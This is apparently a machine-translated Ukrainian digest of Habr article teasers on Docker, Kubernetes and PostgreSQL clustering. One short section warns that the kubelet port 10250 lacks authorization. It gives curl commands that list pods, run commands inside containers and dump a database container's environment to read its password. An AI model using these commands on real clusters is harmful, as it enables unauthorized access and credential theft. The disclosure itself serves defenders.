Вашому блозі ми почнемо з публікацій, створених за мотивами останніх виступів нашого технічного директора distol (Дмитра Столярова). Всі вони відбулися в 2016 році на різних професійних заходах і були присвячені темі DevOps і Docker. Одне відео із зустрічі Docker Moscow в офісі Badoo, ми вже публікували на сайті. Нові будуть супроводжуватися статтями, які передають суть доповідей. Отже...

31 травня на конференції RootConf 2016, що проходила в рамках фестивалю «Російські інтернет-технології» (РІТ++ 2016), секція «Безперервне розгортання і деплой» відкрилася доповіддю «Кращі практики Continuous Delivery з Docker». У ньому було узагальнено і систематизовано найкращі практики побудови процесу Continuous Delivery (CD) з використанням Docker та інших Open Source-продуктів. З цими рішеннями ми працюємо в production, що дозволяє спиратися на практичний досвід.

Дмитро Столяров (Флант) на RootConf 2016

Якщо у вас є можливість витратити годину на відео з доповіддю, рекомендуємо подивитися його повністю. В іншому разі — не нижче представлена основна вичавка в текстовому вигляді.

Читати далі →

Docker swarm mode (режим роя)


На хабре вже писали про Docker swarm mode (режим рою), який є новою фичей версії 1.12. Дана опція внесла невелику плутанину в голови тих, хто знайомий з окремо стоїть реалізацією Docker Swarm мала поширення і раніше не відрізнялася зручністю установки і використання. Однак, після додавання Swarm в коробку з Docker все стало набагато простіше, очевидніше і функціональніша.

Докладніше про те, як влаштований новий кластер Docker контейнерів з точки зору користувача, а також про простому і зручному способі розгортання сервісів Docker на довільній інфраструктурі далі під катом.

Читати далі →

Docker: деплой master-slave конфігурації PostgreSQL



У попередньому матеріалі я розповідав про проект автоматизації деплоя Docker контейнерів, розробка якого стартувала на початку цього року. Минуло кілька місяців, Fabricio був значно поліпшений і допрацьований, і сьогодні я хочу розповісти про одне з останніх нововведень — про автоматичному деплое master-slave конфігурацій для PostgreSQL.

Запуск PostgreSQL в контейнерах — не найпопулярніша ідея, і тому є розумне пояснення: ні до чого додавати додаткові мережеві затримки до і без того досить завантажений сервісу. Але існує ряд випадків коли таке рішення все ж можна застосувати. Наприклад, коли ви повністю довіряєте Docker БД не відчуває серйозних навантажень, але при цьому важлива можливість дублювання/реплицирования збережених даних на кілька серверів. Або просто для тестування і налагодження установок перед застосуванням їх на бойових серверах.

Щоб не втомлювати читача (і користувача великою кількістю текстової інформації, я вирішив, що непогано було б привести «живі» приклади використання Fabricio на реально працюючих контейнерах — погодьтеся — краще один раз побачити.

Читати далі →

Застереження для користувачів Kubernetes

Сервіс
kubelet
, з яким тісно спілкується
apiserver
, слухає порт 10250. Цей порт хоч і використовує сертифікати, але лише для шифрування каналу, ніякої авторизації на ньому немає.
Про цю проблему відомо давно, але чомусь ніхто не вважає її серйозною. Посилання на обговорення:
Що з цим можна зробити? Правтически все. Без реєстрації і sms.
Отримати список всіх pod'ов:
$ curl -sk https://k8s-node-1:10250/runningpods/ | python -mjson.tool

Виконати команду всередині контейнера? Запросто:
$ curl -k -XPOST "https://k8s-node-1:10250/run/kube-system/node-exporter-iuwg7/node-exporter" -d "cmd=ls -la /"

Отримати пароль на базу даних? Простіше простого:
$ curl -k -XPOST "https://k8s-node-1:10250/run/default/mysql-epg0f/mysql" -d 'cmd=env'

Витягнути з неї дані теж не складе труднощів.
Джерело: Хабрахабр

Миттєвий запуск майже будь OS під Linux використовуючи libvirt + qemu

По ходу роботи над CoreOS і Kubernetes мені доводилося часто відтворювати оточення користувачів, щоб допомогти їм вирішити проблему. Погодьтеся, що при запуску OS за допомогою контейнера, не завжди можна добитися повного функціоналу OS, т. к. часто доводилося вирішувати питання, пов'язані з systemd.
Так і народилася ідея написати милиці, які з легкістю допоможуть мені підняти кластер з майже будь оперционной системи, такий собі OpenStack в мініатюрі. Зараз в якості гостьових повністю підтримуються наступні OS:
  • Ubuntu
  • Debian
  • CentOS 6/7 + atomic
  • Fedora + atomic
  • CoreOS
Частково:
  • FreeBSD (потрібно налаштування мережі та ключів ssh)
  • openSUSE (потрібне ручне налаштування мережі та ключів ssh)
  • Windows (консоль не потрапиш, але за допомогою virt-manager можна користуватися графічним інтерфейсом
посприяв Публікації колега, який випадково побачив, як я тестую код. А тепер про переваги перед Vagrant. Перша перевага — час. Наприклад, три віртуальні машини створюються всього за 20-30 секунд.
image
Читати далі →

Невмирущий Postgresql cluster всередині Kubernetes cluster

Якщо ви коли-небудь замислювалися про довіру і надії, то швидше за все, не відчували цього ні до чого так само сильно, як до систем управління базами даних. Ну і дійсно, це ж База Даних! У назві міститься весь сенс — місце, де зберігаються дані, основне завдання ЗБЕРІГАТИ. І що найсумніше, як завжди, одного разу, ці переконання розбиваються про останки такий однієї померлої БД на 'виявляли у своєму житті таку'.

І що ж робити? — запитаєте ви. Не деплоить на сервера нічого, — відповідаємо ми. Нічого, що не вміє сама себе лагодити, хоча б тимчасово, проте надійно та швидко!
У цій статті я спробую розповісти про свій досвід налаштування майже безсмертного Postgresql кластера всередині іншого резервний рішення від Google — Kubernates (aka k8s)
Читати далі →

Основи Kubernetes

У цій публікації я хочу розповісти про цікаву, але незаслужено мало описаної на Хабре, системі управління контейнерами Kubernetes.

image

Що таке Kubernetes?

Kubernetes є проектом з відкритим вихідним кодом, призначеним для управління кластером контейнерів Linux як єдиною системою. Kubernetes управляє і запускає контейнери Docker на великій кількості хостів, а так само забезпечує спільне розміщення і реплікацію великої кількості контейнерів. Проект був розпочатий Google і тепер підтримується багатьма компаніями, серед яких Microsoft, RedHat, IBM і Docker.

Читати далі →